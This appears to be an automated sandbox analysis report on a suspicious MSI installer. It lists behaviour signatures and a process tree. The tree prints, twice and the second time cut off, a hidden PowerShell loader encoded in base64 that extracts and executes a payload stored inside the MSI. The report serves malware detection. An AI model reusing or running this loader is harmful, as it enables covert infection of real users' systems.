Overview

overview

8

Static

static

3

3574378-setup.msi

windows10-2004-x64

8

3574378-setup.msi

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/10/2026, 11:35

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    3574378-setup.msi
  • Size 2.2MB
  • Sample261020-np4dkac12q
  • SHA256 5cd9b187abe7cb2d768da7010dd9d040cd6e6b10be3a56675d4ba9eb5b8aaafd
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
discoveryexecutionpersistenceprivilege_escalationransomware

Malware Config

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Drops file in Windows directory 12 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
    persistenceprivilege_escalation
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\3574378-setup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:3560
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4516
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2632
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        WindowsPowerShell\v1.0\powershell.exe -nop -w h -ep bypass -c "$env:TCyybRTSKGE8='C:\Users\Admin\AppData\Local\Temp\3574378-setup.msi';&([scriptblock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwB0AG8AcAAnADsAaQBmACgALQBuAG8AdAAgACQAZQBuAHYAOgBNAHcATwBTAEEATAApAHsAOwAkAGUAbgB2ADoATQB3AE8AUwBBAEwAPQAnADEAJwA7ACQARwBGAFkAMwBWAEYAbQBXADMAegA5AD0AKABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAHQAZQByACAAIgBQAHIAbwBjAGUAcwBzAEkAZAA9ACQAUABJAEQAIgApAC4AQwBvAG0AbQBhAG4AZABMAGkAbgBlADsAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAnAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAEgAOQA5ADcAOAAzADUAewBbAFMAdAByAHUAYwB0AEwAYQB5AG8AdQB0ACgATABhAHkAbwB1AHQASwBpAG4AZAAuAFMAZQBxAHUAZQBuAHQAaQBhAGwALABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAFUAbgBpAGMAbwBkAGUAKQBdAHAAdQBiAGwAaQBjACAAcwB0AHIAdQBjAHQAIABTAEkAewBwAHUAYgBsAGkAYwAgAGkAbgB0ACAAYwBiADsAcAB1AGIAbABpAGMAIABJAG4AdABQAHQAcgAgAHIAZQBzAGUAcgB2AGUAZAAsAGQAZQBzAGsAdABvAHAALAB0AGkAdABsAGUAOwBwAHUAYgBsAGkAYwAgAGkAbgB0ACAAeAAsAHkALAB4AHMALAB5AHMALAB4AGMALAB5AGMALABmAGkAbABsACwAZgBsAGEAZwBzADsAcAB1AGIAbABpAGMAIABzAGgAbwByAHQAIABzAGgAbwB3ACwAcgBlAHMAZQByAHYAZQBkADIAOwBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAAcgBlAHMAZQByAHYAZQBkADMALABpAG4ASAAsAG8AdQB0AEgALABlAHIAcgBIADsAfQBbAFMAdAByAHUAYwB0AEwAYQB5AG8AdQB0ACgATABhAHkAbwB1AHQASwBpAG4AZAAuAFMAZQBxAHUAZQBuAHQAaQBhAGwAKQBdAHAAdQBiAGwAaQBjACAAcwB0AHIAdQBjAHQAIABQAEkAewBwAHUAYgBsAGkAYwAgAEkAbgB0AFAAdAByACAAaABQAHIAbwBjAGUAcwBzACwAaABUAGgAcgBlAGEAZAA7AHAAdQBiAGwAaQBjACAAaQBuAHQAIABwAGkAZAAsAHQAaQBkADsAfQBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACwAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACwAQwBoAGEAcgBTAGUAdAA9AEMAaABhAHIAUwBlAHQALgBVAG4AaQBjAG8AZABlACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwAoAHMAdAByAGkAbgBnACAAYQBwAHAALABzAHQAcgBpAG4AZwAgAGMAbQBkACwASQBuAHQAUAB0AHIAIABwAGEALABJAG4AdABQAHQAcgAgAHQAYQAsAGIAbwBvAGwAIABpAG4AaABlAHIAaQB0ACwAdQBpAG4AdAAgAGYAbABhAGcAcwAsAEkAbgB0AFAAdAByACAAZQBuAHYALABzAHQAcgBpAG4AZwAgAGQAaQByACwAcgBlAGYAIABTAEkAIABzAGkALABvAHUAdAAgAFAASQAgAHAAaQApADsAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGkAbgB0ACAAUgB1AG4AKABzAHQAcgBpAG4AZwAgAGMAbwBtAG0AYQBuAGQAKQB7AFMASQAgAHMAaQA9AG4AZQB3ACAAUwBJACgAKQA7AHMAaQAuAGMAYgA9AE0AYQByAHMAaABhAGwALgBTAGkAegBlAE8AZgAoAHQAeQBwAGUAbwBmACgAUwBJACkAKQA7AHMAaQAuAGYAbABhAGcAcwA9ADEAOwBQAEkAIABwAGkAOwB1AGkAbgB0ACAAZgBsAGEAZwBzAD0AMAB4ADAAOQAwADAAMAAyADAAMAA7AGkAZgAoACEAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwBXACgAbgB1AGwAbAAsAGMAbwBtAG0AYQBuAGQALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALABmAGEAbABzAGUALABmAGwAYQBnAHMALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALABuAHUAbABsACwAcgBlAGYAIABzAGkALABvAHUAdAAgAHAAaQApACkAewBmAGwAYQBnAHMAPQAwAHgAMAA4ADAAMAAwADAAMAAwADsAaQBmACgAIQBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAFcAKABuAHUAbABsACwAYwBvAG0AbQBhAG4AZAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsAGYAYQBsAHMAZQAsAGYAbABhAGcAcwAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsAG4AdQBsAGwALAByAGUAZgAgAHMAaQAsAG8AdQB0ACAAcABpACkAKQByAGUAdAB1AHIAbgAgADAAOwB9AHIAZQB0AHUAcgBuACAAcABpAC4AcABpAGQAOwB9AH0AJwA7AGkAZgAoAFsASAA5ADkANwA4ADMANQBdADoAOgBSAHUAbgAoACQARwBGAFkAMwBWAEYAbQBXADMAegA5ACkAIAAtAGcAdAAgADAAKQB7AGUAeABpAHQAIAAwAH0AOwB9ADsAJAByAGgAeABtAFAAZQBBAGkAbQBsAGYANAA9ACQAZQBuAHYAOgBUAEMAeQB5AGIAUgBUAFMASwBHAEUAOAA7AGkAZgAoAC0AbgBvAHQAIAAkAHIAaAB4AG0AUABlAEEAaQBtAGwAZgA0ACkAewByAGUAdAB1AHIAbgB9ADsAJABhAG4ANgAzADkANAAxADUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACgAJwBOADYAMwA5ADQAMQA1ACcAKQA7ACQAYQBiADYAMwA5ADQAMQA1AD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ARABlAGYAaQBuAGUARAB5AG4AYQBtAGkAYwBBAHMAcwBlAG0AYgBsAHkAKAAkAGEAbgA2ADMAOQA0ADEANQAsAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEUAbQBpAHQALgBBAHMAcwBlAG0AYgBsAHkAQgB1AGkAbABkAGUAcgBBAGMAYwBlAHMAcwBdADoAOgBSAHUAbgApADsAJABtAG8ANgAzADkANAAxADUAPQAkAGEAYgA2ADMAOQA0ADEANQAuAEQAZQBmAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAKAAnAG0ANgAzADkANAAxADUAJwApADsAJAB0AGIANgAzADkANAAxADUAPQAkAG0AbwA2ADMAOQA0ADEANQAuAEQAZQBmAGkAbgBlAFQAeQBwAGUAKAAnAFQANgAzADkANAAxADUAJwAsAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAFQAeQBwAGUAQQB0AHQAcgBpAGIAdQB0AGUAcwBdACcAUAB1AGIAbABpAGMALABCAGUAZgBvAHIAZQBGAGkAZQBsAGQASQBuAGkAdAAnACkAOwAkAGEAdAA2ADMAOQA0ADEANQA9AFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAE0AZQB0AGgAbwBkAEEAdAB0AHIAaQBiAHUAdABlAHMAXQAnAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwA7ACQAYwB2ADYAMwA5ADQAMQA1AD0AWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQwBhAGwAbABpAG4AZwBDAG8AbgB2AGUAbgB0AGkAbwBuAHMAXQA6ADoAUwB0AGEAbgBkAGEAcgBkADsAJAB3AG4ANgAzADkANAAxADUAPQBbAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAEMAYQBsAGwAaQBuAGcAQwBvAG4AdgBlAG4AdABpAG8AbgBdADoAOgBXAGkAbgBhAHAAaQA7ACQAYQB1ADYAMwA5ADQAMQA1AD0AWwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBDAGgAYQByAFMAZQB0AF0AOgA6AEEAdQB0AG8AOwAkAHUAbgA2ADMAOQA0ADEANQA9AFsAUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4AQwBoAGEAcgBTAGUAdABdADoAOgBVAG4AaQBjAG8AZABlADsAJABhAHMANgAzADkANAAxADUAPQBbAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAEMAaABhAHIAUwBlAHQAXQA6ADoAQQBuAHMAaQA7AGYAdQBuAGMAdABpAG8AbgAgAFAASQA2ADMAOQA0ADEANQAoACQAbgAsACQAZABsAGwALAAkAHIAZQB0ACwAJABwAHMALAAkAGMAcwApAHsAJABtAD0AJAB0AGIANgAzADkANAAxADUALgBEAGUAZgBpAG4AZQBQAEkAbgB2AG8AawBlAE0AZQB0AGgAbwBkACgAJABuACwAJABkAGwAbAAsACQAYQB0ADYAMwA5ADQAMQA1ACwAJABjAHYANgAzADkANAAxADUALAAkAHIAZQB0ACwAJABwAHMALAAkAHcAbgA2ADMAOQA0ADEANQAsACQAYwBzACkAOwAkAG0ALgBTAGUAdABJAG0AcABsAGUAbQBlAG4AdABhAHQAaQBvAG4ARgBsAGEAZwBzACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4ATQBlAHQAaABvAGQASQBtAHAAbABBAHQAdAByAGkAYgB1AHQAZQBzAF0AOgA6AFAAcgBlAHMAZQByAHYAZQBTAGkAZwApAH0AOwBQAEkANgAzADkANAAxADUAIAAnAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACcAIAAnAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACcAIAAoAFsASQBuAHQAUAB0AHIAXQApACAAKABbAHQAeQBwAGUAWwBdAF0AQAAoAFsASQBuAHQAUAB0AHIAXQAsAFsAVQBJAG4AdABQAHQAcgBdACwAWwB1AGkAbgB0ADMAMgBdACwAWwB1AGkAbgB0ADMAMgBdACkAKQAgACQAYQB1ADYAMwA5ADQAMQA1ADsAUABJADYAMwA5ADQAMQA1ACAAJwBWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAJwAgACcAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAJwAgACgAWwBiAG8AbwBsAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAEkAbgB0AFAAdAByAF0ALABbAFUASQBuAHQAUAB0AHIAXQAsAFsAdQBpAG4AdAAzADIAXQAsAFsAdQBpAG4AdAAzADIAXQAuAE0AYQBrAGUAQgB5AFIAZQBmAFQAeQBwAGUAKAApACkAKQAgACQAYQB1ADYAMwA5ADQAMQA1ADsAUABJADYAMwA5ADQAMQA1ACAAJwBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAnACAAJwBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAnACAAKABbAEkAbgB0AFAAdAByAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAEkAbgB0AFAAdAByAF0ALABbAFUASQBuAHQAUAB0AHIAXQAsAFsASQBuAHQAUAB0AHIAXQAsAFsASQBuAHQAUAB0AHIAXQAsAFsAdQBpAG4AdAAzADIAXQAsAFsAdQBpAG4AdAAzADIAXQAuAE0AYQBrAGUAQgB5AFIAZQBmAFQAeQBwAGUAKAApACkAKQAgACQAYQB1ADYAMwA5ADQAMQA1ADsAUABJADYAMwA5ADQAMQA1ACAAJwBMAG8AYQBkAEwAaQBiAHIAYQByAHkAQQAnACAAJwBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAnACAAKABbAEkAbgB0AFAAdAByAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAHMAdAByAGkAbgBnAF0AKQApACAAJABhAHMANgAzADkANAAxADUAOwBQAEkANgAzADkANAAxADUAIAAnAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAnACAAJwBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAnACAAKABbAEkAbgB0AFAAdAByAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAEkAbgB0AFAAdAByAF0ALABbAHMAdAByAGkAbgBnAF0AKQApACAAJABhAHMANgAzADkANAAxADUAOwBQAEkANgAzADkANAAxADUAIAAnAE0AcwBpAE8AcABlAG4ARABhAHQAYQBiAGEAcwBlACcAIAAnAG0AcwBpAC4AZABsAGwAJwAgACgAWwB1AGkAbgB0ADMAMgBdACkAIAAoAFsAdAB5AHAAZQBbAF0AXQBAACgAWwBzAHQAcgBpAG4AZwBdACwAWwBJAG4AdABQAHQAcgBdACwAWwB1AGkAbgB0ADMAMgBdAC4ATQBhAGsAZQBCAHkAUgBlAGYAVAB5AHAAZQAoACkAKQApACAAJAB1AG4ANgAzADkANAAxADUAOwBQAEkANgAzADkANAAxADUAIAAnAE0AcwBpAEQAYQB0AGEAYgBhAHMAZQBPAHAAZQBuAFYAaQBlAHcAJwAgACcAbQBzAGkALgBkAGwAbAAnACAAKABbAHUAaQBuAHQAMwAyAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAHUAaQBuAHQAMwAyAF0ALABbAHMAdAByAGkAbgBnAF0ALABbAHUAaQBuAHQAMwAyAF0ALgBNAGEAawBlAEIAeQBSAGUAZgBUAHkAcABlACgAKQApACkAIAAkAHUAbgA2ADMAOQA0ADEANQA7AFAASQA2ADMAOQA0ADEANQAgACcATQBzAGkAVgBpAGUAdwBFAHgAZQBjAHUAdABlACcAIAAnAG0AcwBpAC4AZABsAGwAJwAgACgAWwB1AGkAbgB0ADMAMgBdACkAIAAoAFsAdAB5AHAAZQBbAF0AXQBAACgAWwB1AGkAbgB0ADMAMgBdACwAWwB1AGkAbgB0ADMAMgBdACkAKQAgACQAYQB1ADYAMwA5ADQAMQA1ADsAUABJADYAMwA5ADQAMQA1ACAAJwBNAHMAaQBWAGkAZQB3AEYAZQB0AGMAaAAnACAAJwBtAHMAaQAuAGQAbABsACcAIAAoAFsAdQBpAG4AdAAzADIAXQApACAAKABbAHQAeQBwAGUAWwBdAF0AQAAoAFsAdQBpAG4AdAAzADIAXQAsAFsAdQBpAG4AdAAzADIAXQAuAE0AYQBrAGUAQgB5AFIAZQBmAFQAeQBwAGUAKAApACkAKQAgACQAYQB1ADYAMwA5ADQAMQA1ADsAUABJADYAMwA5ADQAMQA1ACAAJwBNAHMAaQBSAGUAYwBvAHIAZABSAGUAYQBkAFMAdAByAGUAYQBtACcAIAAnAG0AcwBpAC4AZABsAGwAJwAgACgAWwB1AGkAbgB0ADMAMgBdACkAIAAoAFsAdAB5AHAAZQBbAF0AXQBAACgAWwB1AGkAbgB0ADMAMgBdACwAWwB1AGkAbgB0ADMAMgBdACwAWwBJAG4AdABQAHQAcgBdACwAWwBpAG4AdAAzADIAXQAuAE0AYQBrAGUAQgB5AFIAZQBmAFQAeQBwAGUAKAApACkAKQAgACQAYQB1ADYAMwA5ADQAMQA1ADsAUABJADYAMwA5ADQAMQA1ACAAJwBNAHMAaQBDAGwAbwBzAGUASABhAG4AZABsAGUAJwAgACcAbQBzAGkALgBkAGwAbAAnACAAKABbAHUAaQBuAHQAMwAyAF0AKQAgACgAWwB0AHkAcABlAFsAXQBdAEAAKABbAHUAaQBuAHQAMwAyAF0AKQApACAAJABhAHUANgAzADkANAAxADUAOwAkAE4AUgBSADAAUAA5AD0AJAB0AGIANgAzADkANAAxADUALgBDAHIAZQBhAHQAZQBUAHkAcABlACgAKQA7ACQAZAA3AEEARgBBAHUAdwBoAF8ARwAyAFEAaABDAD0AJwBpAEIATwBGAEcARABkAEEAeAAnADsAJABkAGIAOAA5ADEAMgA9AFsAdQBpAG4AdAAzADIAXQAwADsAJABjADUAOAAwADQAPQAkAE4AUgBSADAAUAA5ADoAOgBNAHMAaQBPAHAAZQBuAEQAYQB0AGEAYgBhAHMAZQAoACQAcgBoAHgAbQBQAGUAQQBpAG0AbABmADQALABbAEkAbgB0AFAAdAByAF0AOgA6AFoAZQByAG8ALABbAHIAZQBmAF0AJABkAGIAOAA5ADEAMgApADsAaQBmACgAJABjADUAOAAwADQAIAAtAG4AZQAgADAAKQB7AHQAaAByAG8AdwAgACcAbwBwAGUAbgAnAH0AOwAkAHYAdwA2ADAAOAAyAD0AWwB1AGkAbgB0ADMAMgBdADAAOwAkAHIAYwAyADYANwA5AD0AWwB1AGkAbgB0ADMAMgBdADAAOwB0AHIAeQB7ADsAJABrADYAOAAzADkAPQBbAGMAaABhAHIAXQA5ADYAOwAkAHEAOQAwADEANgA9ACcAUwBFAEwARQBDAFQAIAAnACsAJABrADYAOAAzADkAKwAnAEQAYQB0AGEAJwArACQAawA2ADgAMwA5ACsAJwAgAEYAUgBPAE0AIAAnACsAJABrADYAOAAzADkAKwAnAEIAaQBuAGEAcgB5ACcAKwAkAGsANgA4ADMAOQArACcAIABXAEgARQBSAEUAIAAnACsAJABrADYAOAAzADkAKwAnAE4AYQBtAGUAJwArACQAawA2ADgAMwA5ACsAIgA9ACcAIgArACQAZAA3AEEARgBBAHUAdwBoAF8ARwAyAFEAaABDAC4AUgBlAHAAbABhAGMAZQAoACIAJwAiACwAIgAnACcAIgApACsAIgAnACIAOwAkAGMANQA4ADAANAA9ACQATgBSAFIAMABQADkAOgA6AE0AcwBpAEQAYQB0AGEAYgBhAHMAZQBPAHAAZQBuAFYAaQBlAHcAKAAkAGQAYgA4ADkAMQAyACwAJABxADkAMAAxADYALABbAHIAZQBmAF0AJAB2AHcANgAwADgAMgApADsAaQBmACgAJABjADUAOAAwADQAIAAtAG4AZQAgADAAKQB7AHQAaAByAG8AdwAgACcAdgBpAGUAdwAnAH0AOwAkAGMANQA4ADAANAA9ACQATgBSAFIAMABQADkAOgA6AE0AcwBpAFYAaQBlAHcARQB4AGUAYwB1AHQAZQAoACQAdgB3ADYAMAA4ADIALABbAHUAaQBuAHQAMwAyAF0AMAApADsAaQBmACgAJABjADUAOAAwADQAIAAtAG4AZQAgADAAKQB7AHQAaAByAG8AdwAgACcAZQB4AGUAYwAnAH0AOwAkAGMANQA4ADAANAA9ACQATgBSAFIAMABQADkAOgA6AE0AcwBpAFYAaQBlAHcARgBlAHQAYwBoACgAJAB2AHcANgAwADgAMgAsAFsAcgBlAGYAXQAkAHIAYwAyADYANwA5ACkAOwBpAGYAKAAkAGMANQA4ADAANAAgAC0AbgBlACAAMAApAHsAdABoAHIAbwB3ACAAJwBmAGUAdABjAGgAJwB9ADsAJABuADQANQA0ADUAPQBbAGkAbgB0ADMAMgBdADAAOwAkAGMANQA4ADAANAA9ACQATgBSAFIAMABQADkAOgA6AE0AcwBpAFIAZQBjAG8AcgBkAFIAZQBhAGQAUwB0AHIAZQBhAG0AKAAkAHIAYwAyADYANwA5ACwAWwB1AGkAbgB0ADMAMgBdADEALABbAEkAbgB0AFAAdAByAF0AOgA6AFoAZQByAG8ALABbAHIAZQBmAF0AJABuADQANQA0ADUAKQA7AGkAZgAoACQAYwA1ADgAMAA0ACAALQBuAGUAIAAwACkAewB0AGgAcgBvAHcAIAAnAGwAZQBuACcAfQA7ACQAcAA2ADcAMAAyAD0AWwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEEAbABsAG8AYwBIAEcAbABvAGIAYQBsACgAWwBpAG4AdABdACQAbgA0ADUANAA1ACkAOwB0AHIAeQB7ADsAJABnADUAMAAyADYAPQBbAGkAbgB0ADMAMgBdACQAbgA0ADUANAA1ADsAJABjADUAOAAwADQAPQAkAE4AUgBSADAAUAA5ADoAOgBNAHMAaQBSAGUAYwBvAHIAZABSAGUAYQBkAFMAdAByAGUAYQBtACgAJAByAGMAMgA2ADcAOQAsAFsAdQBpAG4AdAAzADIAXQAxACwAJABwADYANwAwADIALABbAHIAZQBmAF0AJABnADUAMAAyADYAKQA7AGkAZgAoACQAYwA1ADgAMAA0ACAALQBuAGUAIAAwACkAewB0AGgAcgBvAHcAIAAnAHIAZQBhAGQAJwB9ADsAJABpAGgARQB4AGoAUwA0AG0AbgB5ADcAWQBTAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAAoAFsAaQBuAHQAXQAkAGcANQAwADIANgApADsAWwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHAANgA3ADAAMgAsACQAaQBoAEUAeABqAFMANABtAG4AeQA3AFkAUwBwACwAMAAsAFsAaQBuAHQAXQAkAGcANQAwADIANgApADsAfQBmAGkAbgBhAGwAbAB5AHsAWwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEYAcgBlAGUASABHAGwAbwBiAGEAbAAoACQAcAA2ADcAMAAyACkAfQA7AH0AZgBpAG4AYQBsAGwAeQB7ADsAaQBmACgAJAByAGMAMgA2ADcAOQAgAC0AbgBlACAAMAApAHsAWwB2AG8AaQBkAF0AJABOAFIAUgAwAFAAOQA6ADoATQBzAGkAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAJAByAGMAMgA2ADcAOQApAH0AOwBpAGYAKAAkAHYAdwA2ADAAOAAyACAALQBuAGUAIAAwACkAewBbAHYAbwBpAGQAXQAkAE4AUgBSADAAUAA5ADoAOgBNAHMAaQBDAGwAbwBzAGUASABhAG4AZABsAGUAKAAkAHYAdwA2ADAAOAAyACkAfQA7AFsAdgBvAGkAZABdACQATgBSAFIAMABQADkAOgA6AE0AcwBpAEMAbABvAHMAZQBIAGEAbgBkAGwAZQAoACQAZABiADgAOQAxADIAKQA7AH0AOwAkAGQANwBBAEYAQQB1AHcAaABfAEcAMgBRAGgAQwA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAaABFAHgAagBTADQAbQBuAHkANwBZAFMAcAApADsAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAJABkADcAQQBGAEEAdQB3AGgAXwBHADIAUQBoAEMAKQApAA=='))))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1628
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dziw4dka\dziw4dka.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4624
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9D01.tmp" "c:\Users\Admin\AppData\Local\Temp\dziw4dka\CSC12C26F2C15BB49039810045EF125A2F.TMP"
            4⤵
              PID:3956
          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
            WindowsPowerShell\v1.0\powershell.exe -nop -w h -ep bypass -c "$env:TCyybRTSKGE8='C:\Users\Admin\AppData\Local\Temp\3574378-setup.msi';&([scriptblock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwB0AG8AcAAnADsAaQBmACgALQBuAG8AdAAgACQAZQBuAHYAOgBNAHcATwBTAEEATAApAHsAOwAkAGUAbgB2ADoATQB3AE8AUwBBAEwAPQAnADEAJwA7ACQARwBGAFkAMwBWAEYAbQBXADMAegA5AD0AKABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAHQAZQByACAAIgBQAHIAbwBjAGUAcwBzAEkAZAA9ACQAUABJAEQAIgApAC4AQwBvAG0AbQBhAG4AZABMAGkAbgBlADsAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAnAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAEgAOQA5ADcAOAAzADUAewBbAFMAdAByAHUAYwB0AEwAYQB5AG8AdQB0ACgATABhAHkAbwB1AHQASwBpAG4AZAAuAFMAZQBxAHUAZQBuAHQAaQBhAGwALABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAFUAbgBpAGMAbwBkAGUAKQBdAHAAdQBiAGwAaQBjACAAcwB0AHIAdQBjAHQAIABTAEkAewBwAHUAYgBsAGkAYwAgAGkAbgB0ACAAYwBiADsAcAB1AGIAbABpAGMAIABJAG4AdABQAHQAcgAgAHIAZQBzAGUAcgB2AGUAZAAsAGQAZQBzAGsAdABvAHAALAB0AGkAdABsAGUAOwBwAHUAYgBsAGkAYwAgAGkAbgB0ACAAeAAsAHkALAB4AHMALAB5AHMALAB4AGMALAB5AGMALABmAGkAbABsACwAZgBsAGEAZwBzADsAcAB1AGIAbABpAGMAIABzAGgAbwByAHQAIABzAGgAbwB3